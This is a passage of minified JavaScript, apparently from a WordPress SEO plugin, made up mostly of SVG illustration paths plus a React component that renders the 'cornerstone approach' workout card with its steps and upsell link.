96.56c-.15-.43-.29-.87-.44-1.3.15.43.29.87.44 1.3zm-31.98 59.96a11 11 0 0 0-2.11.82c.67-.3 1.4-.56 2.11-.82zm-2.11.82a58.65 58.65 0 0 0-6 2.81c2.67-1.11 4.56-2.11 6-2.81z"}),a.createElement("path",{d:"M293.49 164.27c-8.58-10.51-1.05-27.75-34.52-86.31-3-5.22-5.26-14.52-12.85-17.58-9.11-3.67-12.77-9.16-21.89-12.83-6.85-2.76-4-1.36-3.21-.49 1.49 1.67-2-1.31-5.72 7.13-.38.85 2.86 1.63 4 5 .36 1.07.49 1.14 1.23 1.33 4.71 1.2 6.52 6.89 4.2 10.06-.7-1.43.18-6-4.68-6.36 2 1.44 4.06 3.42 4 5.88 9.4 16.64 17.56 14 20 15 12.43 4.92-17.28 64.57 23 86.13-7.34-1.94-14.31-5.46-23.92-1.33 7.28-5.53 2.46-7.57.86-10.89-2.17-2.92-2.29-11.71-2.6-22.62a103.2 103.2 0 0 0 1.09 20.32 54.8 54.8 0 0 0-38-.12c5.19-1.21 15.45 48.34 20.15 53.9 3.8-1.4 23-8.57 35.17-14.11 21.52-9.81 34.94-25.76 35.44-28.31.24-1.47-.85-2.71-1.75-3.8zm-41.62-99.13c.06.1 8.87 19.59.56 1.21-.2-.44-.38-.84-.56-1.21z"}),a.createElement("path",{d:"M215.17 56.04c.46.17 2 1.49-.23-.93-.88 2.39-.6 4.42 2 6.74 1.06-3 0-3.51-1.77-5.81zm-4.33 23.82c.28-.07.36.05-.35-.38l.35.38z"})),a.createElement("path",{fill:"#D38053",d:"M203.74 73.77c0 .4-.33-.06 2.94 2.38l-2.94-2.38zm5.26 4.27c2.3 2 3.13 2.53 2.19 1.77L209 78.04zm6.17-22c.05.06 1.79 2.31 1.83 2.38-.49-1.27-.83-2.01-1.83-2.38zm-.52 11.73c1.38-.08.73 1.34 2.16-.5.52-.67 1.91-3.21.71-2.6.56-2.33-.09-6.71-.19-4.75-.13 2.46-3.7 10.77-8.67 9.87a7.6 7.6 0 0 0 3.25.22c2.74-.39 2.36-.97 2.74-2.24zm-5.99 2.02a6.27 6.27 0 0 1-1.42-.59c.42.309.906.51 1.42.59z"}),a.createElement("path",{fill:"#D38053",d:"M214.2 69.33a4.13 4.13 0 0 1-.85 3.73c3.38-1.27 3.66-3.51 2.48-4.78-1.18-1.27-1.34.03-1.63 1.05zm-32.31 1.85c.11.84 2.61 2.33 3.3 2.78a13.33 13.33 0 0 1-3.3-2.78zm10 4.39c-.21.13-.45.1.31 0-.28-.12-.13-.1-.31 0zm-6.51-1.53a29.79 29.79 0 0 0 4.51 2.28c2.54-1.52.8.82-4.51-2.28z"}),a.createElement("path",{fill:"#EAB881",d:"M202.61 77.13c-.91.35-5.67.26-10.41-1.57-6.74 1-6.41 12.08-1 12.4 8.18.48 10.11 3 13.48 1.92 6.82-2.28 2.4-11.62-2.07-12.75z"}),a.createElement("path",{fill:"#D38053",d:"M217.52 64.67a4.92 4.92 0 0 1 2.54-.48c4.87.36 4 5 4.68 6.36 2.31-3.16.52-8.86-4.2-10.06-2.25-.57.56-2.91-7.86-7.27a10.79 10.79 0 0 1 4.84 11.45zm15.23 112.51c-6.79 1.78-17.9 1.65-21-5.2 3.71 11.1 9 26.86 12.86 37.68 2.88-.89 7.41-1.86 8.89-3.4-3.52-4.16-8.67-10.41-8.74-15.89-.07-5.48 2.92-11.16 7.99-13.19zm-26.31-20.36c-.14.17-.15 0 .53 1.27-.18-.46-.35-.89-.53-1.27z"}),a.createElement("path",{fill:"#D38053",d:"M246.11 86.55c-2.26-3.64-4.21.58 2.23-3.3-10.49 4.56-18.5-2.9-24.34-13.21-.05 1.82-1.23 3.13-2.61 4.36-9.64 8.64-10.89 4.95-12.39 3.64-8-7-3.86-2.44-6.09-1-.71.46 4.08 1 5.31 7.11a5.26 5.26 0 0 1-2.67 5.38c7.41 5.8 14.7 2.46 25.68-4.09 14.67 22.17 7.38 66.27 12.78 73.54 1.6 3.32 6.42 5.36-.86 10.89 9.61-4.13 16.58-.61 23.92 1.33-37.63-20.16-14.29-73.91-20.96-84.65z"}),a.createElement("path",{fill:"#A52A6A",d:"M190.92 211.52a81.3 81.3 0 0 0-9.26-12.14c6.41 7.94 17.18 24.84 9.26 12.14z"}),a.createElement("path",{fill:"#A52A6A",d:"M205.85 156.04c-31.36 13.6-26.45 13.21-42 8.34-18.87-5.91-37.14-.76-32.1-1.07 11.82-.72 29.07 49.31 35.44 66.88l62.17-10.35c.64 7.64-20.9-59.34-23.51-63.8z"}),a.createElement("path",{fill:"#7C2050",d:"M214.23 180.31c-8.73 13.9-32.09 11.23-35.71-4.78 8 32.54 8.23 20.07-9.5 9.69 25.36 25.8 22.47 41.74 28.27 44.5 3.49 1.65 13.65-3.77 26.3-7.69 3.3-1 4.88-1.61 4.76-2.19l-14.12-39.53z"}),a.createElement("path",{fill:"#EAB881",d:"M192.93 72.9a3 3 0 0 1-.92 2.58 25.5 25.5 0 0 0 9.52 1.8c2.47-.02.6.27-8.6-4.38z"}),a.createElement("path",{fill:"#EAB881",d:"M220.06 64.19c-3.36-.25-1 1.37-4.23 4.09 1.18 1.27.9 3.51-2.48 4.78a4.07 4.07 0 0 0 .85-3.73c-2.67 1.26-5.78.74-7-.13 4.38 2.46 8.07-2.64 9.69-7.37-2.58-2.31-2.87-4.34-2-6.74-1.19-1.31-4.4-3.35.19-.49a25 25 0 0 1 2.94-5.18c1.27-1.71 5.22-.83 1.65-3.46-1.76-1.3-8.08-2.63-8.81-2.59a4.11 4.11 0 0 0-3.06 1.53c-4.33-1.59-9.29-1.86-11.78 2-4.24-3.58-9.38 2.15-7.77 6.69 1.44 4-1.86.15-7.06 14.62-1.27 3.54 5.07 7 8.77 7.58 7.7 1.25-18.75-8.93 2.24-.45 3.4 2.66 5.28 1.49 10.44 1.8 1.08-.47 1-1.92 1.05-3.09 0-1.84 6.81 8.52 10.32 5.44 8.71-4.45 13.99-9.58 6.05-15.3z"}),a.createElement("path",{fill:"#EAB881",d:"M192.51 69.95c.38.94.28.45 0-2.57a4.18 4.18 0 0 0 0 2.57z"}),a.createElement("path",{fill:"#D38053",d:"M194.68 57.19a15.87 15.87 0 0 0 .36-1.77c-.14.62-.25 1.18-.36 1.77z"}),a.createElement("path",{fill:"#A52A6A",d:"M59 167.04c-7.75 3.79-5.09 3.25-3.46 3.59a74.937 74.937 0 0 0 3.46-3.59zm69-3.33-.77-.17c.242.112.504.17.77.17z"}),a.createElement("path",{fill:"#A52A6A",d:"M200.06 262.44c1.23-17.17 10-35.47-31-77.22-8.89-9-13.84-13.86-31.69-19.13 6.35 7.45-.5 40.2-3.43 38.36-25.84-16.17-70.31-19.82-79.39-32.84 6.7-6.24-28.46 5.48-39.7 16.24-3.57 3.42-8.13 12.77-12.22 22.43 8.53 42.43 41.23 74.66 42.5 72 3.64-7.7 7.17-15.66 6.64-14.47 11.84 12.23 19.29 19.48 23.78 35.23A131 131 0 0 0 201 295.25c-.06-16.21-1.3-27.79-.94-32.81zm-145.78-.4c.1 0 0-.08-1.06 2.38.36-.79.71-1.59 1.06-2.38z"}),a.createElement("path",{fill:"#7C2050",d:"M53.29 267.84c5.65 7.53 33.06 17 44.3 27a280 280 0 0 1-35.06-36.66 203.23 203.23 0 0 0 49.54 9.79l-47.15-13.12c.667-5.7 1.333-11.393 2-17.08-3.35 4.49-11.74 22.07-13.63 30.07zm125.12-18.17c-12.42-1.14-45.91 6.44-50.79 17 18.32-12.22 51.08-16.81 54.55.56-.17-1.02 12.83-16.03-3.76-17.56z"}),a.createElement("path",{fill:"#EAB881",d:"M124.39 155.75c0 .21.1.43.16.64-.06-.21-.11-.43-.16-.64zm-57.05-39.34c-.59 0-.52-.25 0 1.56 1.53 2.37.74 1.51 0-1.56zm56.8 38.33.12.46-.12-.46zm-69.63 16.87c9.09 13 53.53 16.65 79.39 32.84 2.16 1.35 8.75-21.75 4.69-36.08-1.9-6.72-10.19-4.65-10.62-4.66-1 0-1.46-.64-1.83-1.66-.68-1.91-1.52-5.36-1.48-5.21-1.23 4.07-1.68 6.59-3.49 7.5-6.48 3.24-37.85-9.4-52.25-41 .62 2.53 1.06 5.26-1 3.64 3.8 16.54 5.92 26.64-13.41 44.63z"}),a.createElement("path",{fill:"#D38053",d:"M107.65 148.64c-20.65-5.6-33.72-12.94-37.72-32.87-3.26 1.48-3.22-1.55-1 7.6 14.4 31.56 45.77 44.21 52.25 41 2.15-1.07 3.54-7.31 3.38-8-2.21-8.85 2.2-2.53-16.91-7.73z"}),a.createElement("path",{fill:"#EAB881",d:"M140.75 66.31c-3-9.44-7.65-19.56-11.74-25.21a15.73 15.73 0 0 1-8.82-3.17c-7.48 8.26-15.45 4.83-16.65 0-1.68 5.91-9.62 9-14.83 5.74a6.35 6.35 0 0 0 4.78-2.95 18.42 18.42 0 0 1-15.21-2.12c-6-.8-4.66-.93-1.31 4.28 7.29 11.35 4.24 15-4.14 23.72C62.7 77.12 70.69 82.04 74 85.14c6.7 6.17 1.74 13-5.65 12.35 4.88 8.65 5.25 9.2 5.41 10.7.34 3.25-1 6.28-3.86 7.58 4 19.73 16.77 27.17 37.72 32.87 6.48 1.76 13.43 3.33 20 1.88 6.57-1.45 12.87-6.74 13.24-13.51.22-4.11-1.69-10-1.26-14 .68-6.64 5.94-5 6.24-21a112.12 112.12 0 0 0-5.1-35.45"}),a.createElement("path",{fill:"#D38053",d:"M121.63 67.04c-.14 1.89.33 11.5 1.43 14.94 2.29 7.11 7.13 6.6 10.67 8.13 4.36 1.9 5.64 6.66-1.58 8.75-3.85 1.12-7.92 2.25-11.82 1.33 1.4 1.63 3.81 1.84 6 1.84 14.73 0 15.5-9 13.14-12.25-3.67-5.06-12.38-1.31-15.58-12.81-.81-2.74.11-8.51-2.26-9.93z"}),a.createElement("path",{fill:"#000",d:"M110.39 112.3c-10.66-3-13.86-7.32-14.77-5.86-1.15 1.83 18.2 12.62 29.48 6.84-5.03.06-9.69.44-14.71-.98zM86.23 73.61c1.75 0 7-6 8.82-7.15 3.63-2.2 7.63-1.08 11.78-2-.51-1.34-3.51-5.43-4.18-5.29-3.17.68-9.2.3-9.2.3s-13.18 14.27-7.22 14.14zm39.37-15.85c-5.09.43-3.23 1.61-2.29 5.5a18.92 18.92 0 0 1 17.63 3.35c-5.31-8.47-9.64-9.34-15.34-8.85z"}),a.createElement("path",{fill:"#FFF",d:"M91.39 85.5c4.56 6.52 15.3 4.23 18.45-1.77-.92-5.69-16.99-9.33-18.45 1.77zm9.87 1.69c-6.09 3.06-8.18-7.15-1.85-7.15 4.07 0 5.74 5.19 1.85 7.15zm25.58-4.58c2.38 3.65 14 2.53 14.28-3.35-4.19-9.42-16-4.69-14.28 3.35zm8.47-1.63a3.56 3.56 0 0 1-5.31 1.29c-2.29-1.87-1-6.45 2.58-6a3.57 3.57 0 0 1 2.73 4.71z"}),a.createElement("path",{fill:"#000",d:"M126.72 79.53c1.76-6.07 10.8-8.36 14.4-.27 1.07 2.38.95-6.79-5.3-7.23-3.92-.28-10.17.09-9.49 10a11.4 11.4 0 0 1 .39-2.5zm-27.31.51c-6.34 0-4.24 10.2 1.85 7.15 3.89-1.95 2.23-7.15-1.85-7.15z"}),a.createElement("path",{fill:"#000",d:"M132.6 76.26c-3.61-.44-4.87 4.14-2.58 6a3.4 3.4 0 1 0 2.58-6zm-63.68 47.11c-2.54-10.52-.32-4.66-9.77-9 5.12 9 12.19 18.98 9.77 9zM129 41.1c5.48 7.57 6.11 13.42 5.52 9.56a51.53 51.53 0 0 0-2.44-9.71 16.7 16.7 0 0 1-3.08.15z"}),a.createElement("path",{fill:"#000",d:"M137.16 26.23c3.42-12.58-5.26-13.54-7.57-11.18A10.51 10.51 0 0 0 113.3 5.04c-3.11-5.35-12.48-8.78-24.25 2.14C88-.5 72.44 1.9 70.12 17.68c-5.8 1.09-8.67 4.26-10 6.8-5.74.56-24.3 24.19-25.12 32.06-.51 4.69 2 9.11 3.31 13.65.84 2.89 1.22 6 2.75 8.59 4 6.77 0 3.56 5 2.71 4.44-.75 16.29 5.15 22.4 16 3.66.32 7.38-.9 8.67-5.17 1.72-5.69-6.59-8.6-8.54-13.18-4.08-9.57 10.77-15 12.37-23.84 1-5.78-3.41-11.93-7.06-17.09 1.24 0 2.7.15 4.46.38-.16-.1-.3-.21-.45-.32a17.59 17.59 0 0 0 15.66 2.44 6.35 6.35 0 0 1-4.78 2.95c5.21 3.24 13.15.17 14.83-5.74 1.2 4.84 9.14 8.31 16.65 0a16.12 16.12 0 0 0 18.08.78 11.39 11.39 0 0 1-5.61-4.34c3.19.61 6.37-1.64 7.88-4.5 1.51-2.86 1.74-6.22 1.9-9.46a9.68 9.68 0 0 1-5.36 5.83zm-77.44 3.81-.08-.11.08.11zm-.5-3.51v.09c0-.37.06-.82.09-1.36-.05.48-.07.89-.09 1.24v.03zm14.53 7.72a18.09 18.09 0 0 0 4.06 4 16.75 16.75 0 0 1-4.06-4.03v.03zm-.59-.86.24.35-.24-.35z"}),a.createElement("path",{fill:"#000",d:"M97.49 76.04c-3.73.6-7.38 4.53-6.58 9 1-2.29 1.84-4.94 5.06-6.12 4.28-1.56 11.29-.39 13.75 4.36 1.38 2.65.02-9.24-12.23-7.24z"}),a.createElement("path",{fill:"#EAB881",d:"M73.79 108.19c-.16-1.5-.53-2.05-5.41-10.7-6.11-10.84-17.95-16.75-22.38-16-7.48 1.27-15.82 21.55 15.3 33.82 8.33 3.28 13.12-1.13 12.49-7.12z"}),a.createElement("path",{fill:"#D38053",d:"M96 105.92c2.11-2.9 10.26 2.05 16.39-5.72.79-1 1.41-4 3.31-3.71-5.06-.88-6.61 8.28-14.23 6.32-3.12-.81-9-5.15-10 11.67a58.56 58.56 0 0 1 4.53-8.56zm-33.55-5.55c4.3-10.34-20.92-21.24-19.6-7 .3 3.21 2.29 8.83 5.31 9.81-2.45-5.37.27-12.44 1.57-13.5 2-1.61 4.51.76 7.4 2.9-.13 1.68-2.51 2.46-2.65 4.09-.12 1.31 1.07 2.94 5.05 2a7.72 7.72 0 0 1-2.17 5 5.2 5.2 0 0 0 5.09-3.3zm130.32-29.93a3.7 3.7 0 0 1-.27-3.06c4.45-17.69 1.95-7.91-1.07-3.12-2.38 3.78-3.24 6.3.67 8.22 23 11.28 1.9-.25.67-2.04z"}),a.createElement("path",{fill:"#D38053",d:"M192.25 75.29c-2.41-1-6.47-3.9-6.5-5.61 0-1.15 4.89-8.09 3.9-14.36-1.07 1.71-6.51 12.19-6.39 14.2.23 3.86 9.09 5.81 8.99 5.77zm13.21-25.34c-.16 1.86-6.76 14.12-6.76 18.83.36 1.09 4.49 2.16 4.71 3.29-6.82-5.17 3.5-20.43 2.05-22.12z"})))),b="cornerstone",v="orphaned",M="chooseCornerstones",B="checkLinks",x="addLinks",_="improveRemove",A="update",O="addLinks",F="removed",T="noindexed",W="improved",C="skipped",R={cornerstone:[M,B,x],orphaned:[_,A,O]};function D({workout:e,badges:t,upsellLink:o,upsellText:l}){const n=(0,r.useSelect)((e=>e("yoast-seo/workouts").getFinishedSteps(b))),s=o||"https://yoa.st/workout-cornerstone-upsell";return(0,a.createElement)(g,{id:"cornerstone-workout-card",name:b,title:(0,w.__)("The cornerstone approach","wordpress-seo"),subtitle:(0,w.__)("Rank with articles you want to rank with","wordpress-seo"),usps:[(0,w.__)("Make your important articles rank higher","wordpress-seo"),(0,w.__)("Bring more visitors to your articles","wordpress-seo")],image:S,finishableSteps:R.cornerstone,finishedSteps:n,upsellLink:s,upsellText:l,workout:e,badges:t})}var L;function I(){return I=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var o=arguments[t];for(var a in o)Object.prototype.hasOwnProperty.call(o,a)&&(e[a]=o[a])}return e},I.apply(this,arguments)}D.propTypes={workout:m().func,badges:m().arrayOf(m().element),upsellLink:m().string,upsellText:m().string},D.defaultProps={workout:null,badges:[],upsellLink:null,upsellText:null};const P=e=>a.createElement("svg",I({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 299 322"},e),L||(L=a.createElement("g",{fill:"none",transform:"matrix(-1 0 0 1 298.412 0)"},a.createElement("circle",{cx:131.2,cy:190.029,r:131.2,fill:"#F0ECF0"}),a.createElement("path",{fill:"#F9BF8C",d:"M262.5 92.23c-1 1.2-3 2.9-7.5 5a18.4 18.4 0 0 1-10.9 1.6c-.5-1-1-2.2-1.7-3.3l.4-.2.3-.2a14 14 0 0 0 3.3-.2c2.4.2 4.7-.6 6.9-3.2 3.1-3.9 1.7-10.7-1.3-14.6 2.6 2.5 4 5.7 6.4 8.6a231 231 0 0 1 3.3 4c.1.4 1.5 1.8.8 2.5zm-90.9 98.2a17.1 17.1 0 0 1 4 14.3c-11-7.9-22-18.9-31.8-37.8 26.5 1 39.4 8.8 39.5 8.7 43-17.2 51.7 1.5 66.8-6.3 2.3 4.7 5.3 6.3 8.4 9.4-13.5-13.9 5.7-22-5.1-57.7 7.3 0 20.8-4.8 22.9-9.7 14.8 26.3 10.5 39.9 17.8 54.6.6 1.2 2.3 6.7 3.5 8.2 2 2.8 0 7.7-2.7 10.6-29.7 32.8-68.9 33.6-93.5 36.8-6.4-4.6-13.8-8.5-21.5-13.7-1-5.1-1.2-11.2-8.3-17.4z"}),a.createElement("path",{fill:"#DB7A53",d:"M253.4 121.03c10.8 35.8-8.4 43.8 5.1 57.8-3-3.2-6-4.8-8.4-9.5a52.999 52.999 0 0 1-.3-2.2 50.2 50.2 0 0 1-.4-5v-2l.1-3.6.1-1.8.3-3.7.4-3.7.6-5.6a153.4 153.4 0 0 0 .6-9.5v-2a69 69 0 0 0-.3-7.8l-.2-1.6a10.5 10.5 0 0 0 2.4.3v-.1zm-11-25.6 1.7 3.4h-.1c-1.9-.1-2.3-2.3-2.7-2.6l-.1-.2 1.2-.6z"}),a.createElement("path",{fill:"#DB7A53",d:"M219.7 95.53c-.7-1.6-3-3-5.5-3.6.1-.011.2-.011.3 0a8.4 8.4 0 0 0 5.1-1.3l-.3-.2a1.6 1.6 0 0 0 .2 0 3.3 3.3 0 0 0 2.7-.6 34.2 34.2 0 0 0 6.4-4 5 5 0 0 0 2-2.8l.4.3c-.7 6.5 5.4 11.5 12.1 11.9l-.3.1-.4.2-1.2.6c-3.8 1.9-11 5.7-13.6 5.6-2.9 0-6.9-2.2-9.8-3.9 1.4-.5 2.3-1.2 1.9-2.3z"}),a.createElement("path",{fill:"#F9BF8C",d:"M223.7 76.23v.3a3.7 3.7 0 0 1-.2 1.3c-1.3-.7-2.4-1.5-2.6-2.6a3.2 3.2 0 0 1 .3-1.7 7.1 7.1 0 0 1 2.5 2.7z"}),a.createElement("path",{fill:"#F9BF8C",d:"M253.3 91.73c-2.1 2.6-4.5 3.4-6.9 3.2a13 13 0 0 0 5.2-2.3c-6 2.7-10.5 1.1-13.8-1.5a36.9 36.9 0 0 1-4.7-5.3c-1.1-1.6-1.8-2.8-2.1-2.9a3 3 0 0 0 0 .3l-.3-.3a2.4 2.4 0 0 0-.9-2 10.2 10.2 0 0 0-3.2-1.9 5.5 5.5 0 0 1 2.9.6c1.6.9 1 2.1 1.8 3.1a3.3 3.3 0 0 0 .2-3.7c-.8-1.3-4-1.1-6.1-1.3a2.3 2.3 0 0 0 0-.2l.8-1a1.3 1.3 0 0 1-.7-.8c-.8-1.2-2.4-2-4.2-2.6l.1-.2a16.4 16.4 0 0 1 2.2-3.5c.7-.8 5.5-.3 6.1-.6a21 21 0 0 0 2.5.7l16.8 5.1a7.8 7.8 0 0 1 3 2.5c3 3.9 4.4 10.7 1.3 14.6z"}),a.createElement("path",{fill:"#F9BF8C",d:"M228.6 85.73a34.2 34.2 0 0 1-6.4 4 3.3 3.3 0 0 1-2.6.6c1.5-.6 2.1-2.3.7-2.8l-.8-3.8a10 10 0 0 0 2-.7v.1c.5.8.4 4-.4 4.6 1-.2 2.2-3.1 2.5-4a1.3 1.3 0 0 0-.6-1.5 5.2 5.2 0 0 0 .8-.8 6.7 6.7 0 0 0 1.3-2 6.3 6.3 0 0 1 1.5-.4 10.2 10.2 0 0 1 3.2 1.9 2.4 2.4 0 0 1 .9 2 5 5 0 0 1-2.1 2.8zm-5-16.3a16.4 16.4 0 0 0-2.2 3.5l-.1.2a39 39 0 0 0-2.4-.6 9 9 0 0 1 2.3 1 3.2 3.2 0 0 0-.3 1.7c.3 1.1 1.3 2 2.6 2.6a11.3 11.3 0 0 1-.9 1.8 9.3 9.3 0 0 1-2.7 3.3l-.5.3-3.4-15.4-2.1-.3a4.4 4.4 0 0 1 2.7-1.4 35.6 35.6 0 0 1 13 2.7c-.5.3-5.3-.2-6 .6z"}),a.createElement("path",{fill:"#F9BF8C",d:"M219.4 83.23a6 6 0 0 1-2.8.7 7.8 7.8 0 0 1-1.5-.2 4 4 0 0 0 1.5.2 9.8 9.8 0 0 0 3-.2l.7 3.8c1.4.5.8 2.2-.7 2.8h-.1a1.6 1.6 0 0 1-.2 0 39 39 0 0 0-7-3c-.3-3.4-.6-6.7-2-9.7 1.7-2.8 3.2-5.6 1.7-6.6 0 1.3-1.1 3.4-2.4 5.4a13.3 13.3 0 0 0-1.2-1.7 13 13 0 0 0-5.2-3.6c.8-1.7 1.4-3.5 3.7-3.8a24.3 24.3 0 0 1 6.9.2l2.1.3 3.5 15.4z"}),a.createElement("path",{fill:"#DB7A53",d:"M223.7 76.23a5 5 0 0 1 .6 3.4 7 7 0 0 1 .8-.3 6.7 6.7 0 0 1-1.3 2.1 5.2 5.2 0 0 1-.8.8 1.7 1.7 0 0 0-1.2-.2l-.2 1a10 10 0 0 1-2 .7 9.8 9.8 0 0 1-3 .2 6 6 0 0 0 2.8-.7l.5-.3a9.3 9.3 0 0 0 2.7-3.3 11.3 11.3 0 0 0 1-1.9 3.7 3.7 0 0 0 .1-1.3v-.2zm1.6 1.3c.007.1.007.2 0 .3v-.3z"}),a.createElement("path",{fill:"#DB7A53",d:"M223 82.23c.524.3.773.92.6 1.5-.3.9-1.4 3.8-2.5 4 .8-.7 1-3.8.5-4.6v-.1l.3-1a1.7 1.7 0 0 1 1.1.2z"}),a.createElement("path",{fill:"#F9BF8C",d:"M201.4 91.73a3.1 3.1 0 0 0-.8.7c-2-.9-3.9-2.7-5.7-3.4-.5-.1-2.7-.8-2.9-1.4a13.7 13.7 0 0 0 5.2 2 43 43 0 0 0 4.2 2v.1zm.1-2.2h.1a30.3 30.3 0 0 0 5.4.4 30 30 0 0 0 3.6 1.6c-2.6-.3-5.7-1-8-.4l-2.2-1.3a2.7 2.7 0 0 0 1.1-.3zm13 2.5a1.4 1.4 0 0 0-.3 0 10.6 10.6 0 0 0-2-.4h-.4a26.6 26.6 0 0 1-3-1.8l1.7-.1a3.2 3.2 0 0 0 1.3-.4 1.2 1.2 0 0 0 .5-1l6.7 2.7-6.7-3.6a39 39 0 0 1 7 3c.1.2.3.2.4.3a8.4 8.4 0 0 1-5.2 1.3z"}),a.createElement("path",{fill:"#DB7A53",d:"M225 79.33a7 7 0 0 0-.7.3 5 5 0 0 0-.6-3.4 7.1 7.1 0 0 0-2.5-2.7 9 9 0 0 0-2.2-1l2.3.7c1.8.5 3.4 1.3 4.2 2.6a1.3 1.3 0 0 0 .6.6c.2 0-.5.7-.8 1.1v.3c2.2 0 5.4-.1 6.2 1.2a3.3 3.3 0 0 1-.2 3.8c-.8-1-.2-2.3-1.8-3.2a5.5 5.5 0 0 0-3-.6 6.3 6.3 0 0 0-1.4.3h-.1zm6 3.9a3 3 0 0 1 0-.3c.3 0 1 1.3 2 3a23.8 23.8 0 0 0 4.8 5.2c3.3 2.6 7.8 4.2 13.8 1.6a13 13 0 0 1-5.2 2.2 14 14 0 0 1-3.3.2c-6.7-.4-12.8-5.4-12.1-11.9z"}),a.createElement("path",{fill:"#F9BF8C",d:"M208.4 74.73c.478.53.913 1.099 1.3 1.7-1.4 2.2-3 4.3-3.5 5.3s-1.3 2.6-.3 3.6a38.8 38.8 0 0 0 6.4 3 1.2 1.2 0 0 1-.6 1 3.2 3.2 0 0 1-1.2.4l-1.8.1a14.4 14.4 0 0 0-3.6-1.9 13.4 13.4 0 0 1-3-1.2c0-.9-.3-2.4-.5-4 1.6-3 5-8.2 2.7-10.1.9 1.6-1.4 5.5-3 8l-.8-4a3.8 3.8 0 0 0 0-2 3.5 3.5 0 0 1-.2 1c-.4-1.6-.7-2.6-1-2.7-.9-.3-2 .6-3 2 1-2.2 1.5-4.1 4.7-4.1a7.3 7.3 0 0 1 2.2.4 13 13 0 0 1 5.2 3.5zm-6.1 13a39.6 39.6 0 0 1 4.7 2.2 30.3 30.3 0 0 1-5.3-.5 1.7 1.7 0 0 0 .6-1.7z"}),a.createElement("path",{fill:"#F9BF8C",d:"M207 84.53c-.2-1.3 1.6-4.1 3.3-6.9a27 27 0 0 1 2 9.7l-5.3-2.8zm-7.6-11.7c.3 0 .6 1.2 1 2.7-1.2 2.7-5.5 6.5-6.7 8.9a3.4 3.4 0 0 0-.6 2c.2.7 2 2 4.1 3.2a13.7 13.7 0 0 1-5.2-2l-.4-.3a1.7 1.7 0 0 1-.5-.5 1.5 1.5 0 0 1 0-1.2c.5-1.2 2.8-7.5 5.2-10.9 1-1.3 2.1-2.2 3-1.9h.1z"}),a.createElement("path",{fill:"#F9BF8C",d:"M199.4 86.63a5 5 0 0 0 2 .8l.9.3a1.7 1.7 0 0 1-.7 1.7v.1a2.7 2.7 0 0 1-1.2.3c-1.8-1-3.4-2.1-4.1-2.6-.4-.3-.8-.6-.9-1a1.7 1.7 0 0 1 .4-1c1.2-2 4-5.9 4.7-8.7l.7 4-1 1.5c-1 1.5-2.2 3.5-.8 4.6z"}),a.createElement("path",{fill:"#F9BF8C",d:"M201.2 86.03c-.5-.7-.6-.8-.4-1.7a9.9 9.9 0 0 1 .8-1.6l.5 4a3 3 0 0 1-.9-.7z"}),a.createElement("path",{fill:"#DB7A53",d:"M211.8 91.63h-1.2a30 30 0 0 1-3.6-1.7 39.6 39.6 0 0 0-4.7-2.2l-.8-.3a5 5 0 0 1-2-.8c-1.5-1.1-.3-3 .8-4.6l1-1.4c1.6-2.5 4-6.5 3.1-8 2.2 2-1.2 7-2.8 10.1a9.9 9.9 0 0 0-.7 1.6c-.3.9-.2 1 .4 1.7a3 3 0 0 0 .9.7 13.4 13.4 0 0 0 3 1.3 14.4 14.4 0 0 1 3.6 1.9 26.6 26.6 0 0 0 3 1.7z"}),a.createElement("path",{fill:"#DB7A53",d:"M195.8 85.33a1.7 1.7 0 0 0-.4 1c0 .4.5.7.9.9l4 2.6c.8.5 1.6 1 2.4 1.3a4.2 4.2 0 0 0-1.3.6 43 43 0 0 1-4.2-2c-2.1-1.3-4-2.6-4-3.3a3.4 3.4 0 0 1 .5-2c1.2-2.3 5.5-6.1 6.6-8.8a3.5 3.5 0 0 0 .3-1 3.8 3.8 0 0 1 0 2c-.8 2.8-3.6 6.6-4.8 8.7zm11.2-.8 5.3 2.8 6.7 3.7-6.7-2.6a38.8 38.8 0 0 1-6.4-3c-1-1-.4-2.4.3-3.5l3.5-5.4c1.3-2.2 2.4-4 2.4-5.3 1.5 1 0 3.7-1.8 6.5s-3.6 5.6-3.2 7l-.1-.2z"}),a.createElement("path",{fill:"#F9BF8C",d:"M201.4 91.73a4.2 4.2 0 0 1 1.3-.6c2.2-.5 5.3.1 7.9.4l1.2.1h.4a10.6 10.6 0 0 1 2 .3c2.4.6 4.8 2 5.4 3.6.5 1-.5 1.8-1.8 2.2a11.1 11.1 0 0 1-2 .4c-4.2.6-5.5 2-11.5 2.8-2.6.4-4.4-4-4.4-5.9a4.2 4.2 0 0 1 .7-2.6 3.1 3.1 0 0 1 .8-.7z"}),a.createElement("path",{fill:"#A52A6A",d:"M253.4 121.03a10.5 10.5 0 0 1-2.4-.2 5.3 5.3 0 0 1-.7-.2c-2.4-.9-8.6-17.6-9.3-21-.3-1.2-.3-3.5.3-3.4.3.3.8 2.5 2.7 2.5h.1a18.4 18.4 0 0 0 10.9-1.5c4.6-2.1 6.6-3.8 7.6-5 .6-.8-.7-2.2-.9-2.5.4-.4 1.3.1 1.7.3 5.9 2.8 10.2 12.7 13.1 19.4a2.9 2.9 0 0 1-.1 1.9c-2.1 5-15.6 9.8-23 9.8v-.1z"}),a.createElement("path",{fill:"#DB7A53",d:"M171.6 190.43c7 6.2 7.3 12.3 8.3 17.4l-4.4-3a17 17 0 0 0-3.9-14.4z"}),a.createElement("path",{fill:"#009288",d:"m41.3 265.93-.5.2c6.5 8.6 14.1 17.5 21 30.5a28.8 28.8 0 0 1 2.8 7.7c45.714 25.792 102.423 21.736 144-10.3-.8-3.5-1.7-7.1-2.8-11 12.67-7.311 18.506-22.484 14-36.4a43 43 0 0 0-18.4-25.1c-6.4-4.6-13.8-8.5-21.5-13.7l-4.4-3c-10.8-8-22-19-31.7-37.9l-.1-.2a71 71 0 0 0-19.9-2.3c12 5.8 41 37 4.2 43-29 3.1-47.3-27.9-84-28.7a47.8 47.8 0 0 0-13.5 9.4l-1 1a37 37 0 0 1 4.7-2c16.4 1 27 15.3 32.9 30.3 10.3 26.2 6.2 44.7-2.6 50.6-5.3 3.6-13.3 2.7-20-3.7l-1.5.7-1 .6-.7.3z"}),a.createElement("path",{fill:"#F9BF8C",d:"M29.5 189.23a37 37 0 0 1 4.5-2.2c16.4 1 27 15.3 33 30.3 10.3 26.2 6.2 44.7-2.6 50.6-5.3 3.6-13.4 2.7-20-3.7l-1.5.7c6.9-5.7 4.9-6.8 18-4.4-10.8-6.4-16.1-9.1-38.7 6.1a122.2 122.2 0 0 1-21.4-53.5 133 133 0 0 1 